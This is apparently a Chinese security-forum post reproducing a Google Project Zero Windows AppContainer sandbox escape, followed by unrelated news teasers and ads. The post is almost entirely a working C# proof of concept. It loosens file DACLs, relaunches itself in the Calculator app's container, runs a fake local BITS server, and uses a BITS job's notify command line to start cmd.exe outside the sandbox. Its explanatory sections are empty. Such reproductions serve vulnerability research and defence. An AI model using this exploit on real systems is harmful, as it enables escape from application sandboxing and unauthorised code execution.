关于谷歌P0的AppContainer逃逸的一种简单的复现


简要概述
简要分析




运行效果
IBackgroundCopyJob::SetNotifyCmdLine:
https://docs.microsoft.com/zh-cn/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline



相关代码
using System;
using System.Collections.Generic;
using System.Diagnostics.CodeAnalysis;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using AppContainerBypass;
using NtApiDotNet;
using NtApiDotNet.Win32;
namespace AppContainerBypass
{
class Program
{
static volatile ManualResetEvent me=new ManualResetEvent(false);
static bool IsInAppContainer()
{
using (var token = NtToken.OpenProcessToken())
{
return token.AppContainer;
}
}
static void UpdateSecurity(string path)
{
var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");
using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))
{
file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);
}
}
static void FixSecurity(string dir)
{
UpdateSecurity(dir);
foreach (var file in Directory.GetFiles(dir))
{
UpdateSecurity(file);
}
}
static string cmdExe = @"C:\Windows\System32\cmd.exe";
static string mainExe = typeof(Program).Assembly.Location;
static bool RestartInAppContainer(string[] args)
{
string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");
if (!File.Exists(FakeFile))
{
File.WriteAllText(FakeFile,"fake");
}
FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));
FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));
List<Sid> caps = new List<Sid>
{
KnownSids.CapabilityInternetClient,
KnownSids.CapabilityInternetClientServer,
KnownSids.CapabilityPrivateNetworkClientServer,
KnownSids.CapabilityPicturesLibrary
};
Win32ProcessConfig config = new Win32ProcessConfig
{
CreationFlags = CreateProcessFlags.NewConsole,
CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),
ApplicationName = mainExe,
CommandLine = mainExe + " " + FakeFile
};
config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");
config.Capabilities.AddRange(caps);
using (var p = Win32Process.CreateProcess(config))
{
p.Process.Wait();
}
return true;
}
private static void Process_CANCEL_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_PING(HttpListenerContext context)
{
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Headers["BITS-Error-Context"] = "";
context.Response.ContentLength64 = 0;
}
private static void Process_CLOSE_SESSION(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
private static void Process_FRAGMENT(HttpListenerContext context)
{
Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());
//string ContentName = context.Request.Headers["Content-Name"].ToString();
string ContentRange = context.Request.Headers["Content-Range"].ToString();
List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();
List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();
string total_length = ContentRangeList[1];
string range_start = crange[0];
string range_end = crange[1];
Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();
}
private static void Process_CREATE_SESSION(HttpListenerContext context)
{
string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";
List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();
if (BITSSupportedProtocolsList.Contains(supported_protocols))
{
Guid SessionId = Guid.NewGuid();
context.Response.ContentLength64 = 0;
context.Response.Headers["BITS-Protocol"] = supported_protocols;
context.Response.Headers["BITS-Packet-Type"] = "Ack";
context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();
}
}
private static void Process_BITS_POST(HttpListenerContext context)
{
try
{
if (context.Request.Headers["BITS-Packet-Type"] != null)
{
string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();
Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);
switch (BITSPacketType)
{
case "CREATE-SESSION":
{
Process_CREATE_SESSION(context);
break;
}
case "FRAGMENT":
{
Process_FRAGMENT(context);
break;
}
case "CLOSE-SESSION":
{
Process_CLOSE_SESSION(context);
break;
}
case "CANCEL-SESSION":
{
Process_CANCEL_SESSION(context);
break;
}
case "PING":
{
Process_PING(context);
break;
}
default:
{
break;
}
}
context.Response.StatusCode = 200;
context.Response.Close();
}
}
catch (Exception e)
{
context.Response.StatusCode = 500;
context.Response.Headers["BITS-Error-Code"] = "1";
context.Response.Close();
Console.WriteLine(e);
}
}
private static void StartBitsServer()
{
try
{
using (HttpListener listener = new HttpListener())
{
listener.Prefixes.Add("http://localhost:5686/");
listener.Start();
Console.Write("StartBitsServer"+Environment.NewLine);
me.Set();
while (true)
{
HttpListenerContext context = listener.GetContext();
Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);
switch (context.Request.HttpMethod.ToUpper())
{
case "BITS_POST":
{
Process_BITS_POST(context);
break;
}
default:
{
break;
}
}
}
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
static void Main(string[] args)
{
try
{
if (IsInAppContainer())
{
RunBtsJob(args[0]);
}
else
{
Task.Factory.StartNew(() =>
{
StartBitsServer();
});
me.WaitOne();
RestartInAppContainer(args.ToArray());
}
}
catch (Exception e)
{
Console.WriteLine(e);
throw;
}
}
private static void RunBtsJob(string file)
{
IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;
Guid jobGuid;
IBackgroundCopyJob job1;
mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);
IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;
job.SetNotifyCmdLine(cmdExe, cmdExe);
job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);
job.AddFile("http://localhost:5686/fake.png", file);
job.Resume();
BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;
while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)
{
Thread.Sleep(1000);
job.GetState(out stat);
}
job.Complete();
Console.Write("Success");
}
}
}
相关引用
相关项目
看雪ID:王cb
https://bbs.pediy.com/user-home-609565.htm

# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
-
SSL证书对百度和谷歌搜索引擎有用吗?
SSL证书作为保障网站HTTPS加密的基础工具,其与搜索引擎收录的关系逐渐成为讨论焦点。本文将从百度、谷歌两大搜索引擎的官方态度、技术原理及实际案例出发,详细分析SSL证书对收录的影响,并提供针对性的
-
网上流传160亿账号密码泄露 但这些数据并非新的所以也不需要过于恐慌
从昨天开始有黑客售卖 160 亿条账号密码的消息迅速引起大家的关注,这份超大数据库涉及苹果、微软、谷歌、Meta 等等,有用户误以为这是最新泄露的数据。不过最近这些大型科技公司并未出现严重的安全事故,
-
谷歌发布Chrome 137.0.7151.69版紧急安全更新修复CVE-2025-5419漏洞
日前谷歌为 Chrome 浏览器推出紧急安全更新版 137.0.7151.68/69 用来修复已经被黑客利用的零日漏洞 CVE-2025-5419,该漏洞属于 v8 引擎中的越界读写问题。这枚漏洞由谷
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- DeepSeek服务器“裸奔”互联网现漏洞 专家提醒:立即修改配置
- 如何在Gname操作域名解析?
- 普京下令各部门机构设立IT安全部门
- 诸子云 | 话题:在两国交战期,如何在复杂的网络攻击中保障业务的顺畅?
- 守护中国软件供应链安全,「悬镜安全」完成B轮数亿元融资
- 年初一,一虎百应拜大年|骁龙虎年限定红包封面+壁纸
- 2021年度大片之亚马逊云科技 re:Invent 全球大会“观影”指南来了!
- Java架构技术揭秘:Redis+Nginx+Dubbo精选+面试题+精选视频(送)
- 当跨国企业女职业经理人遇上创业女 CEO,两者会擦出什么样的火花?
- 盘点 | 2020拜拜,2021网络安全趋势预测来了!
- 在英雄联盟地图中寻找“数据结构的大门”
- CSDN 湘苗培优,打造高素质技术人才